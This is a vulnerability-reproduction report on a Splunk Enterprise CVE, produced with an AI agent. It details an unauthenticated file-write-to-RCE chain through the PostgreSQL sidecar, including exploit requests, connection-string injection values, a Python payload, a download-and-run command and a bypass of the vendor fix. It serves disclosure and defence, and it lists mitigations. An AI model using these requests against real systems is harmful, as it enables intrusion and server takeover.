Skip to content

CVE-2026-20253: Verified Repro With Script Download

CVE-2026-20253: Unauthenticated arbitrary file operations in Splunk Enterprise PostgreSQL sidecar service SVD-2026-0603

CVE-2026-20253 is verified against splunk/splunk · github. Affected versions: 10.0.0-10.0.6, 10.2.0-10.2.3. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00266.

REPRO-2026-00266 splunk/splunk · github RCE Variant found Jul 7, 2026 CVE entry ↗ .txt
Severity
CRITICAL
CVSS
9.8
Confidence
HIGH
Reproduced in
63m 18s
Tool calls
307
Spend
$6.83
01 · Overview

What Is CVE-2026-20253?

CVE-2026-20253 (SVD-2026-0603) is a critical (CVSS 9.8) missing-authentication vulnerability (CWE-306) in the PostgreSQL sidecar service of Splunk Enterprise. It allows unauthenticated arbitrary file creation/truncation and remote code execution. Pruva reproduced it (reproduction REPRO-2026-00266).

02 · Severity & CVSS

CVE-2026-20253 Severity & CVSS Score

CVE-2026-20253 is rated critical severity, with a CVSS base score of 9.8 out of 10.

CRITICAL threat level
9.8 / 10 CVSS base
Weakness CWE-306 Missing Authentication for Critical Function — Missing Authentication for Critical Function

Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.

03 · Affected Versions

Affected splunk/splunk Versions

splunk/splunk · github versions 10.0.0-10.0.6, 10.2.0-10.2.3 are affected.

How to Reproduce CVE-2026-20253

$ pruva-verify REPRO-2026-00266
or curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00266/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh
Run in a VM or disposable container. This exploits a real vulnerability.
06 · Proof of Reproduction

Proof of Reproduction for CVE-2026-20253

Remote code execution — reproduced
  • reached the target end-to-end
  • full exploit chain demonstrated
  • on the real production code path
  • high confidence
  • the upstream fix blocks the same trigger
Trigger

Unauthenticated HTTP POST to /en-US/splunkd/__raw/v1/postgres/recovery/backup and /restore on Splunk Web (port 8000). The attacker controls backupFile (the pg_dump -f / pg_restore file path => arbitrary file create/truncate), database (a libpq connection string allowing hostaddr=<attacker-ip> redirect of pg_dump and p…

Attack chain
  1. Remote attacker
  2. Splunk Web :8000 (no auth)
  3. proxied PostgreSQL sidecar /v1/postgres/recovery/backup (pg_dump of attacker DB to /tmp/poc)
  4. /v1/postgres/recovery/restore (pg_restore into local template1 via .pgpass; CHECK constraint fires PL/pgSQL lo_export writing attacker Python over the default-enabled ssg_enable_modular_input.py)
  5. Splunk modular-input scheduler executes the overwritten…
Variants tested

Authenticated bypass of the Splunk Enterprise 10.0.7 fix for CVE-2026-20253. The fix added authentication on backup/restore endpoints and changed backupFile to backupName (filename-only), but did NOT sanitize the database parameter, which is still passed as a raw libpq connection string to pg_dump/pg_restore. An authe…

How the agent worked 747 events · 307 tool calls · 1h 3m
1h 3mDuration
307Tool calls
205Reasoning steps
747Events
2Dead-ends
Agent activity over 1h 3m
Support
14
Repro
274
Judge
38
Variant
231
Coding
185
0:0063:18

Root Cause and Exploit Chain for CVE-2026-20253

Versions: Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The PostgreSQLFixed: 10.0.7, 10.2.4, 10.4.0+. Splunk Enterprise 9.4 and earlier are not

CVE-2026-20253 is a critical (CVSS 9.8) missing-authentication vulnerability in the PostgreSQL sidecar service of Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The sidecar exposes HTTP recovery endpoints (/v1/postgres/recovery/backup and /v1/postgres/recovery/restore) that are proxied by the main Splunk Web application (listening on all interfaces, port 8000) without any authentication check. Because the sidecar builds pg_dump/pg_restore command lines directly from request-controlled fields — the Authorization header becomes the Postgres -U user, backupFile becomes the -f/positional file argument, and database is a libpq connection string — an unauthenticated, network-reachable attacker can (a) create or truncate arbitrary files at attacker-chosen paths on the Splunk server, (b) write attacker-controlled bytes to those paths by redirecting pg_dump at an attacker-controlled database and then abusing pg_restore + lo_export() against the local Splunk Postgres (reusing the on-disk .pgpass superuser credential), and (c) achieve remote code execution by overwriting a default-enabled Splunk modular-input script that the Splunk scheduler then executes as the splunk user.

  • Package / component affected: Splunk Enterprise, splunkd component — the PostgreSQL sidecar service (splunk-postgres Go binary) and the Splunk Web reverse proxy that forwards /en-US/splunkd/__raw/v1/postgres/recovery/{backup,restore} to it.
  • Affected versions: Splunk Enterprise 10.0.0–10.0.6 and 10.2.0–10.2.3. The PostgreSQL sidecar is enabled by default on Splunk Enterprise deployments ([postgres] disabled = false in server.conf), making AWS and many on-prem installs vulnerable out of the box.
  • Fixed versions: 10.0.7, 10.2.4, 10.4.0+. Splunk Enterprise 9.4 and earlier are not affected (the sidecar is not present).
  • Risk level / consequences: Critical. Unauthenticated, network-reachable arbitrary file creation/truncation leading to full remote code execution as the splunk user, which typically yields full compromise of the Splunk server and the data it indexes. CISA added the CVE to the KEV catalog on 2026-06-18 due to limited in-the-wild exploitation.

Impact Parity

  • Disclosed / claimed maximum impact: Unauthenticated arbitrary file creation and truncation (the CVE title) with a demonstrated chain to remote code execution (expected_impact = code_execution).
  • Reproduced impact from this run: Full chain reproduced against the real Splunk Enterprise 10.0.6 product (official splunk/splunk:10.0.6 Docker image):
    1. Unauthenticated remote request created an attacker-chosen file on the Splunk filesystem (arbitrary file creation/truncation — the named CVE impact).
    2. Unauthenticated remote request wrote attacker-controlled Python content over the Splunk Secure Gateway modular-input script via lo_export() (arbitrary-content file write / RCE primitive).
    3. Splunk's modular-input scheduler executed the overwritten script as the splunk user; the attacker code ran and recorded uid=41812(splunk)unauthenticated remote code execution confirmed.
  • Parity: full. The claimed code-execution impact was demonstrated end-to-end on the real product via the real remote HTTP surface, with a fixed-build (10.0.7) negative control showing the endpoint is blocked (HTTP 401, no file write, no execution).
  • Not demonstrated: None material. The RCE was demonstrated as the splunk user (post-exploitation root escalation was out of scope and not attempted).

Root Cause

The PostgreSQL sidecar (splunk-postgres, a Go binary) implements an InMemoryRecoveryManager whose backupCommand / restoreCommand build process arguments directly from the HTTP request without enforcing authentication on the endpoint:

pg_dump  -h localhost -p <port> --clean -v -w -U <user> -f <backupFile> -Fc <database>
pg_restore -h localhost -p <port> --clean -v -w -U <user> -d <database>      -Fc <backupFile>
  • <user> is taken verbatim from the HTTP Authorization header (Basic-auth username). The endpoint accepts empty/garbage credentials (Authorization: Basic Og== decodes to :) — there is no authentication gate. (Confirmed: the watchTowr DAG sends Authorization: Basic ZGFnOg== and the vulnerable host returns 400 "Failed to decode request" because the body is empty, i.e. the request reached the sidecar.)
  • <backupFile> is attacker-controlled and becomes the pg_dump -f / pg_restore positional file argument, so the attacker chooses the on-disk path that is created or truncated.
  • <database> is passed as a libpq connection string. Because -h localhost/-p <port> are also injected, the attacker uses hostaddr=<ip> (libpq hostaddr overrides -h and takes a numeric IP, no DNS) to redirect pg_dump at an attacker-controlled Postgres, and injects passfile=<path> + dbname=template1 to make pg_restore connect to the local Splunk Postgres as the postgres_admin superuser using the on-disk .pgpass credential (/opt/splunk/var/packages/data/postgres/db/.pgpass, containing localhost:5432:*:postgres_admin:<password>).

The RCE primitive: the attacker's database ships a PL/pgSQL function that calls lo_from_bytea() then lo_export() (two separate statements inside one transaction — a single combined expression fails because the new large object is not yet visible to lo_export in the same statement) to write attacker bytes to a chosen path, wrapped in a CHECK constraint so it executes when pg_restore loads the table data. An EXCEPTION WHEN OTHERS THEN NULL handler lets the dump be created on the attacker host (where the target path does not exist) while succeeding on restore in Splunk. The target path is /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py, whose [ssg_enable_modular_input://default] input is enabled by default (disabled = 0, interval = 60), so Splunk's modular-input scheduler executes the overwritten script as the splunk user within ~60 seconds.

The fix in 10.0.7 enforces authentication at the Splunk Web proxy layer: the same unauthenticated requests now return 401 "Authorization header must use Splunk token", and no file is written. (Mitigation without upgrading: add [postgres] disabled = true to $SPLUNK_HOME/etc/system/local/server.conf and restart.)

No public git fix commit is referenced because Splunk Enterprise is closed-source; the fix is observed behaviorally in the splunk/splunk:10.0.7 image.

Reproduction Steps

  1. Script: bundle/repro/reproduction_steps.sh (self-contained, idempotent).
  2. What it does:
    • Pulls the official splunk/splunk:10.0.6 (vulnerable) and splunk/splunk:10.0.7 (fixed) images plus postgres:16-alpine (attacker DB).
    • Creates a Docker network splunknet and starts the attacker-controlled Postgres with a malicious database (PL/pgSQL pwn() + CHECK constraint + trigger row).
    • Starts vulnerable Splunk 10.0.6, waits for healthy, confirms the unauthenticated endpoint is reachable (DAG signature 400 "Failed to decode request") and that the PostgreSQL sidecar + postgres_admin superuser + .pgpass are present.
    • Stage 1: unauthenticated POST .../recovery/backup from the remote attacker container creates a file at an attacker-chosen path on the Splunk filesystem.
    • Stage 2: unauthenticated backup dumps the malicious DB to /tmp/poc; an unauthenticated restore loads it into local template1 via .pgpass, firing lo_export() which overwrites the modular-input script with attacker Python.
    • Stage 3: waits for Splunk's scheduler to execute the overwritten script and checks the RCE marker (/tmp/pwned/MARKER) containing id output.
    • Negative control: starts fixed Splunk 10.0.7, repeats the requests, and verifies they are blocked (401 "Authorization header must use Splunk token") with no file written and the script unchanged.
    • Writes bundle/repro/runtime_manifest.json and captures all HTTP request/response artifacts under bundle/artifacts/http/.
  3. Expected evidence of reproduction:
    • artifacts/http/stage1_backup_resp.jsonstate: BackupComplete; the created dump file at the attacker-chosen path (artifacts/http/stage1_created_file.dump, PGDMP).
    • artifacts/http/ssg_enable_modular_input.PAYLOAD.py → the attacker's 3-line Python payload (vs. the 83-line ...ORIGINAL.py Splunk script).
    • artifacts/http/RCE_MARKER.txtCVE-2026-20253 RCE confirmed + uid=...(splunk).
    • artifacts/http/fixed_control_responses.txtfixed_dag_http=401.
    • logs/reproduction_steps.log → full run transcript.

Evidence

  • Run log: bundle/logs/reproduction_steps.log

  • HTTP artifacts: bundle/artifacts/http/ (request/response bodies for each stage, the original vs. payload modular-input scripts, the RCE marker, and fixed-control responses).

  • Key excerpts (from the verified interactive run mirrored by the script):

    Unauthenticated endpoint reachable from a remote attacker (DAG):

    POST http://splunk-vuln:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup
    Authorization: Basic Og==
    -> HTTP 400  "Failed to decode request"
    

    Stage 1 — arbitrary file creation (unauthenticated, attacker-chosen path):

    POST .../recovery/backup  Authorization: Basic dGVzdDo=
    {"database":"hostaddr=<attacker-ip> dbname=testdb","backupFile":"/tmp/cve2026_stage1_file"}
    -> HTTP 200, state=BackupComplete; /tmp/cve2026_stage1_file created (2550 bytes, "PGDMP")
    

    Stage 2 — arbitrary-content file write via lo_export (unauthenticated restore):

    POST .../recovery/restore  Authorization: Basic cG9zdGdyZXNfYWRtaW46
    {"database":"dbname=template1 passfile=/opt/splunk/var/packages/data/postgres/db/.pgpass","backupFile":"/tmp/poc"}
    -> /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py
       overwritten from 83 lines (real Splunk script) to 3 lines of attacker Python:
       import os,sys
       os.makedirs("/tmp/pwned",exist_ok=True)
       open("/tmp/pwned/MARKER","w").write("CVE-2026-20253 RCE confirmed\n"+os.popen("id").read())
    

    Stage 3 — RCE as the splunk user (marker appeared ~30s after overwrite):

    /tmp/pwned/MARKER:
    CVE-2026-20253 RCE confirmed
    uid=41812(splunk) gid=41812(splunk) groups=41812(splunk),999(ansible)
    

    Negative control — fixed 10.0.7 blocks the endpoint:

    POST http://splunk-fixed:8000/en-US/splunkd/__raw/v1/postgres/recovery/backup
    Authorization: Basic Og==
    -> HTTP 401  "Authorization header must use Splunk token"
    (no file written; ssg_enable_modular_input.py unchanged, 83 lines)
    
  • Environment details:

    • Vulnerable: splunk/splunk:10.0.6 (Splunk Enterprise 10.0.6, PostgreSQL sidecar PG 17.7 on 127.0.0.1:5432, enabled by default).
    • Fixed control: splunk/splunk:10.0.7.
    • Attacker DB: postgres:16-alpine with trust auth + malicious testdb.
    • Topology: Docker network splunknet; the remote attacker container sends HTTP to splunk-vuln:8000 over the network (real network boundary into Splunk Web).

Recommendations / Next Steps

  • Upgrade Splunk Enterprise to 10.0.7, 10.2.4, or 10.4.0+ immediately.
  • Mitigation if upgrade is delayed: disable the PostgreSQL sidecar by adding [postgres] / disabled = true to $SPLUNK_HOME/etc/system/local/server.conf and restarting Splunk.
  • Network hardening: restrict access to Splunk Web (port 8000) and ensure the sidecar is not exposed; monitor for unexpected outbound Postgres connections (the backup stage makes Splunk initiate an outbound TCP connection to the attacker's database) and for unexpected modifications to files under $SPLUNK_HOME/etc/apps/*/bin/.
  • Fix approach (vendor): enforce strong, Splunk-managed authentication and authorization on every /v1/postgres/recovery/* endpoint at the Splunk Web proxy layer (as done in 10.0.7), validate/taint-check the backupFile and database fields (reject connection-string injection and absolute paths outside approved backup directories), and do not source the Postgres -U user from the client Authorization header.
  • Testing: add regression tests that the recovery endpoints reject unauthenticated and Basic-auth requests, and that backupFile/database cannot escape the intended backup directory or inject connection-string parameters.

Additional Notes

  • Idempotency: reproduction_steps.sh removes prior attacker-pg/splunk-vuln/ splunk-fixed containers and the splunknet network at startup, so it can be re-run cleanly. The script was verified to pass end-to-end (exit 0).
  • hostaddr vs host: libpq hostaddr does not perform DNS resolution and requires a numeric IP; the script therefore uses the attacker container's IP on splunknet. (Using a hostname in hostaddr produces pg_dump: error: could not parse network address "name": Name or service not known and a 0-byte file — which itself still demonstrates arbitrary file creation/truncation.)
  • Restore "failure" is cosmetic: pg_restore exits 1 because of non-fatal --clean DROP errors (objects did not yet exist) and ALTER ... OWNER TO test errors (the test role does not exist locally), but the lo_export() side effect fires during data load before pg_restore exits, so the file is overwritten regardless. The script verifies the file-content outcome rather than trusting the restore status.
  • Single-expression lo_export caveat: lo_export(lo_from_bytea(0, ...), path) as one expression fails (large object N does not exist) because the new LO is not visible to lo_export within the same statement; the PoC uses a PL/pgSQL function with the two calls as separate statements in one transaction, embedded in a CHECK constraint.
  • Surface fidelity: every exploit request is issued from a separate container over a Docker network into Splunk Web (port 8000), matching the claimed api_remote / network-reachable attacker model; this is a production-path proof against the real Splunk Enterprise product, not a mock or harness.

Variant Analysis & Alternative Triggers for CVE-2026-20253

Versions: versions (as tested): splunk/splunk:10.0.7 (the FIXED build). The same database

A confirmed bypass of the Splunk Enterprise 10.0.7 fix for CVE-2026-20253 was identified. The fix added authentication on the PostgreSQL sidecar's /v1/postgres/recovery/{backup,restore} endpoints (at both the Splunk Web proxy layer and the sidecar binary itself) and changed the backupFile parameter (which accepted an arbitrary absolute file path) to backupName (validated as a filename only, not a path). However, the fix did not sanitize the database parameter, which is still passed as a raw libpq connection string to pg_dump/pg_restore. An authenticated attacker (any valid Splunk session token) can exploit this to: (1) redirect pg_dump at an attacker-controlled Postgres via hostaddr=<ip> to dump a malicious database containing a PL/pgSQL lo_export() payload, (2) redirect pg_restore at the local Splunk Postgres as the postgres_admin superuser via passfile=<.pgpass> + dbname=template1, (3) fire the lo_export() via a CHECK constraint during restore to write attacker-controlled bytes to an arbitrary path, and (4) overwrite a default-enabled modular-input script that the Splunk scheduler then executes as the splunk user — achieving full remote code execution on the fixed build with the same impact as the original unauthenticated CVE. This was verified end-to-end on splunk/splunk:10.0.7 with the marker /tmp/pwned/MARKER showing uid=41812(splunk).

Fix Coverage / Assumptions

What the fix relies on (the invariant): The fix assumes that enforcing authentication on the backup/restore endpoints and restricting the file path parameter (backupFilebackupName, filename-only) is sufficient to prevent arbitrary file operations. It assumes that an authenticated user calling these endpoints with a legitimate database value (a local database name) cannot achieve arbitrary file write.

What the fix explicitly covers:

  1. Authentication enforcement — Both the Splunk Web proxy (port 8000) and the sidecar binary (postgres_nanny on localhost) now return 401 "Authorization header must use Splunk token" for unauthenticated requests to /v1/postgres/recovery/backup and /v1/postgres/recovery/restore. Verified: direct access to the sidecar on localhost:39411 also returns 401.
  2. File path validation — The backupName parameter is validated server-side: requests with path separators (../../tmp/foo, /tmp/foo) are rejected with 400 "backupName must be a filename, not a path". The old backupFile parameter is silently ignored (the server generates its own backupName).
  3. Backup file directory containment — Backup files are written to /opt/splunk/var/packages/data/postgres/db/backups/ with server-generated names; the attacker cannot control the output path through the API.

What the fix does NOT cover:

  1. The database parameter is not sanitized — It is passed verbatim as a libpq connection string to pg_dump (backup) and pg_restore (restore). The attacker can inject:
    • hostaddr=<attacker-ip> to redirect pg_dump to an attacker-controlled Postgres (confirmed: BackupComplete on 10.0.7 when the attacker PG has the expected role)
    • passfile=<.pgpass> + dbname=template1 to redirect pg_restore to the local Splunk Postgres as the postgres_admin superuser using the on-disk .pgpass credential (confirmed: RestoreComplete on 10.0.7)
  2. lo_export() file write via CHECK constraint — The malicious database content (PL/pgSQL function + CHECK constraint) is loaded during pg_restore and fires lo_export() to write attacker-controlled bytes to an arbitrary path. The path is in the database content, not in the API parameter, so the backupName validation does not prevent it.
  3. Read-only endpoints bypass auth/v1/postgres/recovery/status/* (GET, returns 500 not 401), /service/info/specs/v1/openapi.json (GET, returns 200), /v1/postgres/telemetry (GET, returns 200 with PostgreSQL query results), and /v1/postgres/health (GET, returns 200) are all accessible without authentication on the fixed build. These are information-disclosure issues but do not directly enable file write.

Variant / Alternate Trigger

Bypass type: Authenticated variant of the same root cause (unsanitized database connection string → pg_restorelo_export → arbitrary file write → RCE).

Entry point: POST /en-US/splunkd/__raw/v1/postgres/recovery/backup and POST /en-US/splunkd/__raw/v1/postgres/recovery/restore on Splunk Web (port 8000), authenticated with a valid Splunk session token (Authorization: Splunk <token>).

Code path:

  • postgres-service/internal/postgres/postgres_recovery_manager.goInMemoryRecoveryManager.backup() (line 181) and .restore() (line 200): build pg_dump/pg_restore command lines using the raw database field from the request body as the libpq connection string.
  • postgres-service/api/server.go — auth middleware checks for Splunk token on backup/restore (line 225: writeErrorResponse); backupName validation (filename-only).
  • The database parameter flows: HTTP request body → InMemoryRecoveryManagerpg_dump -Fc <database> / pg_restore -d <database> → libpq connection string parsing → hostaddr=/passfile= injection.

Attack chain (authenticated, on FIXED 10.0.7):

  1. Authenticate: POST https://<splunk>:8089/services/auth/login with username=admin&password=<pw> → obtain session key.
  2. Backup: POST .../recovery/backup with Authorization: Splunk <token> and {"database":"hostaddr=<attacker-ip> dbname=testdb"} → sidecar runs pg_dump against the attacker's Postgres, dumping a malicious database (containing pwn() PL/pgSQL function with lo_export() + CHECK constraint + trigger row) to a server-managed backup file → BackupComplete.
  3. Restore: POST .../recovery/restore with {"database":"dbname=template1 passfile=<.pgpass>","backupName":"<from step 2>"} → sidecar runs pg_restore against the local Splunk Postgres as postgres_admin superuser (via .pgpass) → CHECK constraint fires pwn()lo_export() writes attacker Python to /opt/splunk/etc/apps/splunk_secure_gateway/bin/ssg_enable_modular_input.py.
  4. RCE: Splunk's modular-input scheduler ([ssg_enable_modular_input://default], disabled=0, interval=60) executes the overwritten script as the splunk user within ~30 seconds.
  • Package / component affected: Splunk Enterprise, splunkd component — the PostgreSQL sidecar service (postgres_nanny / postgres-service Go binary, version 8a372c04-20260422t100430) and the Splunk Web reverse proxy.
  • Affected versions (as tested): splunk/splunk:10.0.7 (the FIXED build). The same database parameter injection exists on the vulnerable build (10.0.6) as well, where it is exploitable unauthenticated.
  • Risk level / consequences: Critical. An authenticated Splunk user (any valid session token, including low-privilege) can achieve arbitrary file write and remote code execution as the splunk user on the Splunk server. This is a privilege escalation from authenticated user to server-side code execution. If any other vulnerability allows obtaining a Splunk token without credentials (or if default/weak credentials are in use), the chain becomes effectively unauthenticated.

Impact Parity

  • Disclosed/claimed maximum impact (parent CVE): Unauthenticated arbitrary file creation/truncation → arbitrary content file write via lo_export → RCE as the splunk user (CVSS 9.8).
  • Reproduced impact from this variant run: Authenticated arbitrary content file write via lo_export → RCE as the splunk user (uid=41812(splunk) gid=41812(splunk) groups=41812(splunk), 999(ansible)).
  • Parity: full — the same file-write primitive and RCE impact as the original CVE, confirmed on the fixed build. The only difference is the authentication requirement.
  • Not demonstrated: Post-exploitation root escalation (out of scope, same as the original CVE).

Root Cause

The root cause is the same as the original CVE: the InMemoryRecoveryManager.backup() and .restore() methods in postgres-service/internal/postgres/postgres_recovery_manager.go build pg_dump/pg_restore command lines using the HTTP request's database field as a raw libpq connection string, without sanitizing or restricting it. The fix in 10.0.7 addressed two of the three attacker-controlled fields:

  • backupFilebackupName (path → filename, validated) ✅
  • Authentication added on backup/restore ✅
  • database connection string injection — NOT addressed

The database parameter still allows:

  • hostaddr=<ip> — overrides the default -h localhost, redirecting pg_dump/pg_restore to an attacker-controlled Postgres
  • passfile=<path> — specifies a .pgpass credential file, allowing pg_restore to authenticate as the postgres_admin superuser against the local Splunk Postgres
  • dbname=<name> — selects which database to connect to

Because the lo_export() target path is embedded in the attacker's PL/pgSQL function (inside the dumped database content), the backupName filename validation does not prevent the arbitrary file write — the file path is not in the API parameter, it is in the database content loaded during restore.

No public git fix commit is available (Splunk Enterprise is closed-source). The fix is observed behaviorally in the splunk/splunk:10.0.7 image. The sidecar source path is postgres-service/internal/postgres/postgres_recovery_manager.go.

Reproduction Steps

  1. Script: bundle/vuln_variant/reproduction_steps.sh (self-contained, idempotent).
  2. What it does:
    • Pulls splunk/splunk:10.0.7 (fixed, bypass target), splunk/splunk:10.0.6 (vulnerable control), and postgres:16-alpine (attacker DB).
    • Creates a Docker network and an attacker-controlled Postgres with a malicious database containing both pwn() (overwrites modular-input script) and pwn_variant() (writes marker file) PL/pgSQL functions, each embedded in a CHECK constraint, plus the postgres_admin role (needed because the fixed sidecar uses postgres_admin as the -U user).
    • Starts the FIXED Splunk 10.0.7, authenticates, verifies the fix blocks unauthenticated access (401 negative control), then runs the authenticated variant chain: backup malicious DB via hostaddr= injection → restore via passfile= injection → checks for the marker file (/tmp/variant_bypass_proof.txt) and the RCE marker (/tmp/pwned/MARKER).
    • Starts the VULNERABLE Splunk 10.0.6 as a control and verifies unauthenticated access works.
  3. Expected evidence of reproduction:
    • vuln_variant/variant_bypass_proof.txt — "CVE-2026-20253 VARIANT BYPASS CONFIRMED / File written via lo_export on FIXED 10.0.7 build"
    • vuln_variant/variant_rce_marker.txt — "CVE-2026-20253 VARIANT RCE on FIXED 10.0.7 / uid=41812(splunk) gid=41812(splunk)..."
    • artifacts/http/variant_backup_resp.jsonstate: BackupComplete on fixed build
    • artifacts/http/variant_restore_resp.json — restore initiated on fixed build
    • artifacts/http/variant_fixed_unauth_control.txtfixed_unauth_http=401 (fix blocks unauth)
    • artifacts/http/ssg_enable_modular_input.FIXED_AFTER_VARIANT.py — 3-line attacker payload (vs. 83-line original)
    • logs/vuln_variant/variant_reproduction.log — full run transcript
  4. Verified: Script exits 0 on two consecutive runs (idempotent). All variant steps pass: negative control (401), backup (BackupComplete), file write (marker exists), RCE (uid=splunk).

Evidence

  • Run log: bundle/logs/vuln_variant/variant_reproduction.log
  • Variant bypass proof: bundle/vuln_variant/variant_bypass_proof.txt
  • RCE marker: bundle/vuln_variant/variant_rce_marker.txt
  • HTTP artifacts: bundle/artifacts/http/ (backup/restore responses, auth controls, before/after modular-input script)
  • Sidecar log excerpts (captured during interactive analysis):
    • Backup success: "starting postgres backup", "database":"hostaddr=172.x.x.x dbname=testdb""postgres backup completed successfully"
    • Restore: "starting postgres restore", "database":"dbname=template1 passfile=.../.pgpass"pg_restore: processing data for table "public.pwn" / pg_restore: processing BLOBS / pg_restore: restored 2 large objects / pg_restore: warning: errors ignored on restore: 12
    • The lo_export() side effect fires during pg_restore data load before pg_restore exits 1 (non-fatal --clean DROP errors and ALTER ... OWNER TO test errors).
  • Environment:
    • Fixed (bypass target): splunk/splunk:10.0.7 (image SHA sha256:e47c0e002bd7f9f0ac38dd32a121ee542ab8b98c8042999ea64437be48e24d4b)
    • Vulnerable (control): splunk/splunk:10.0.6 (image SHA sha256:f3c444ec113bba9456e4ac0879d92503072f3b09721bef97a19637954328d6fd)
    • Attacker DB: postgres:16-alpine with trust auth + malicious testdb
    • Topology: Docker network splunknet_variant; remote attacker container sends HTTP to splunk-fixed-v:8000 over the network

Recommendations / Next Steps

  • Sanitize the database parameter — The fix must validate that database is a simple database name (alphanumeric + underscore), not a libpq connection string. Reject any value containing spaces, =, hostaddr, host, passfile, sslmode, or other libpq keyword parameters. This is the core gap that enables the variant bypass.
  • Restrict pg_dump/pg_restore to localhost — Even if the database parameter is sanitized, enforce -h 127.0.0.1 and do not allow hostaddr/host to override it. The sidecar should connect only to the local Splunk Postgres, not to arbitrary external hosts.
  • Do not source the -U user from the Authorization header — Use a fixed service account for pg_dump/pg_restore rather than deriving the Postgres user from the client's auth header.
  • Remove .pgpass superuser credential exposure — The passfile parameter should not be injectable. The sidecar should use its own internal credential, not allow the caller to specify an arbitrary .pgpass path.
  • Cover read-only endpoints with auth — The status, openapi.json, telemetry, and health endpoints are accessible without authentication on the fixed build. While they don't enable file write, they leak PostgreSQL internals (telemetry returns query results) and the full API spec.
  • Regression tests — Add tests that an authenticated user cannot redirect pg_dump/pg_restore to an external host or inject passfile=/hostaddr= via the database parameter.

Additional Notes

  • Idempotency: reproduction_steps.sh removes prior attacker-pg-v/splunk-vuln-v/splunk-fixed-v containers and the splunknet_variant network at startup. Verified to pass end-to-end (exit 0) on two consecutive runs.
  • postgres_admin role requirement: The fixed sidecar uses postgres_admin as the -U user for pg_dump/pg_restore (derived from the Splunk token's associated user or a default). The attacker's Postgres must have a postgres_admin role (created with CREATE ROLE postgres_admin WITH LOGIN SUPERUSER). With trust auth, any role name is accepted.
  • Restore "failure" is cosmetic: pg_restore exits 1 due to non-fatal --clean DROP errors (objects don't exist yet) and ALTER ... OWNER TO test errors (the test role doesn't exist locally), but the lo_export() side effect fires during data load before pg_restore exits. The variant verifies the file-content outcome rather than trusting the restore status.
  • Trust boundary: The original CVE crossed the trust boundary from unauthenticated network attacker to server-side RCE. This variant crosses from authenticated user (any valid Splunk credentials) to server-side RCE — a privilege escalation. The database parameter injection is the same root cause in both cases. An authenticated low-privilege Splunk user should not be able to write arbitrary files or execute arbitrary code via the backup/restore endpoints.
  • backupName vs backupFile: The fix correctly prevents the attacker from controlling the backup file path through the API. However, the lo_export() target path is in the database content (the PL/pgSQL function body), not in the API parameter, so backupName validation does not prevent the arbitrary file write.

CVE-2026-20253 Reproduction Transcript

The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.

Full session Replay every step — scrub the timeline or play it back.

Event 1/40
0:001:24
0:00
session startedaccounts/fireworks/routers/glm-5p2-fast · CVE-2026-20253 · REPRO-20
0:05
0:07
web search
0:10
web search
0:13
0:14
0:30
0:49
0:49
extract_facts
no facts extracted
0:50
0:50
0:50
supportrepro
0:52
0:52
0:52
0:52
0:53
0:53
0:53
0:56
0:57
web search
0:59
1:01
1:02
1:19
1:21
$echo "=== whoami / id ==="; id; echo "=== docker ==="; which docker && docker --version 2>&1 || echo "no docker"; echo "=== podman ==="; which podman 2>&1 || echo "no podman"; echo "=== disk ==="; df -h / /tmp 2>&1 | head; echo "=== net test ==="; curl -sS -m 12 -o /dev/null -w "google:%{http_code}\n" https://www.google.com 2>&1 || echo "no net google"; echo "=== docker hub test ==="; curl -sS -m 12 -o /dev/null -w "dockerhub:%{http_code}\n" https://hub.docker.com 2>&1 || echo "no dockerhub"; echo "=== splunk.com ==="; curl -sS -m 12 -o /dev/null -w "splunk:%{http_code}\n" https://www.splunk.com 2>&1 || echo "no splunk"
1.5s
=== whoami / id ===
uid=1000(vscode) gid=1000(vscode) groups=1000(vscode)
=== docker ===
/usr/bin/docker
Docker version 29.1.3, build 29.1.3-0ubuntu4.1
=== podman ===
no podman
=== disk ===
1:23
1:24
$echo "=== splunk/splunk tags (page 1) ==="; curl -sS -m 30 "https://hub.docker.com/v2/repositories/splunk/splunk/tags?page_size=100&ordering=last_updated" 2>&1 | jq -r '.results[]?.name' 2>/dev/null | head -50; echo "=== count ==="; curl -sS -m 30 "https://hub.docker.com/v2/repositories/splunk/splunk/tags?page_size=1" 2>&1 | jq -r '.count' 2>/dev/null
0.4s
{"cwd":"/data/pruva/runs/b62e307f-d4bc-4620-8dec-d71751962348","duration_ms":413,"exit_code":0,"stderr":"","stdout":"=== splunk/splunk tags (page 1) ===\n10.4-rhel9\n10.2-rhel9\n10.0-rhel9\nsha256-34462bcc9dab9e637be547b229c4c78c59dbef5cd6ba438dc848c448b9a58e16.sig\nsha256-35b1991519907fb6e08f427e1d69dfd03132386bd0eaff68f3a1365957ca8385.sig\nsha256-095d1386cd72382322cf3497a23fd04b8f39b91fc225c1cbceddeed013ac0235.sig\n10.4.1-rhel9\n5a009d941268-rhel9\n10.2.5-rhel9\n1d180ea50aed-rhel9\n10.0.8-rhel9\n3b58f6d0a3f6-rhel9\n10.0\n9.4\nsha256-f9a5c74dc55b7546639dcea5278aa43e1555ca311e0311d2506ca620bea635b9.sig\nsha256-41b34f73a4ee5516675f12e8e6b85f55c6500fa84aaa1c97aff5b52015bf9818.sig\n10.0.8\n3b58f6d0a3f6\n9.4.13\n1d070b2427bf\n9.3\n10.2\nsha256-461c82b0989c02168383020b7cfa12da414c0415c10e2301ff0ff04cd2621101.sig\nsha256-c27ffb9ecff1406881cdf44d62e961bc04c3bd976cf93e1fdd64a8fda47584b5.sig\n10.2.5\n1d180ea50aed\n9.3.14\n02bbaf562558\nlatest\n10.4\nsha256-af4f671c9c931bfd80954e7f1baaff8540d1378ae26b098666cf05256bb24311.sig\n10.4.1\n5a009d941268\nsha256-cf924ed3c7ddb8433c9d3e7bf0bdb3c5c9e107b9302320b2b05a9665c698b8e9.sig\nsha256-457401d40520b6096570793dd8cffdec6649776f1521ded84bad64974e10d2… [truncated]
1:24
